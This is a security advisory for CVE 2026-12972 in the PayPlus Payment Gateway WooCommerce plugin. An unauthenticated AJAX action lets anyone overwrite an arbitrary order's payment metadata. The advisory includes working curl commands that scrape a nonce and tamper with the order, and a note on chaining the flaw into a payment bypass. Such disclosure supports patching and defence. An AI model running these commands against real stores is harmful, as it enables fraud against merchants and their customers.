PayPlus Payment Gateway < 8.2.2 – Unauthenticated Order Payment Metadata Tampering | CVE 2026-12972

Description

The plugin does not perform authorization or order-ownership validation in one of its AJAX actions available to unauthenticated users, allowing them to tamper with the payment-related metadata of arbitrary WooCommerce orders.

Proof of Concept

Environment: WooCommerce + PayPlus Payment Gateway 8.2.1 (also confirmed on the reported 8.1.8). PayPlus gateway enabled (its intended use), a published product, and a classic [woocommerce_checkout] page.

1. As an anonymous visitor, add a product to the cart and load the checkout page, then scrape the localized frontNonce from the HTML:
   curl -c jar -b jar 'https://TARGET/?add-to-cart=<PID>' -o /dev/null
   NONCE=$(curl -c jar -b jar -L 'https://TARGET/checkout/' | grep -oE '"frontNonce":"[a-f0-9]+"' | head -1 | grep -oE '[a-f0-9]{10}')

2. As an anonymous attacker (no cookies, no auth), overwrite an arbitrary order's payment-request metadata:
   curl -X POST 'https://TARGET/wp-admin/admin-ajax.php' \
     --data-urlencode 'action=make-hosted-payment' \
     --data-urlencode "_ajax_nonce=$NONCE" \
     --data-urlencode 'order_id=<TARGET_ORDER_ID>' \
     --data-urlencode 'page_request_uid=ATTACKER_VALUE' \
     --data-urlencode 'saveToken=false'
   Response: {"success":true,"data":{"result":"success"}}

3. The target order's payplus_page_request_uid meta is now ATTACKER_VALUE (verify on the target: wp post meta get <TARGET_ORDER_ID> payplus_page_request_uid).

Note (not exercised here): the handler then invokes the internal IPN routine. In a live store with valid PayPlus credentials, an attacker who supplies a PRUID from a transaction they genuinely paid against the same merchant can drive the order to payment-complete, because the IPN path does not bind the PRUID's transaction or amount to this order. Demonstrating that chained payment bypass requires a real PayPlus merchant account, so only the unauthenticated metadata overwrite above was reproduced in a contained lab.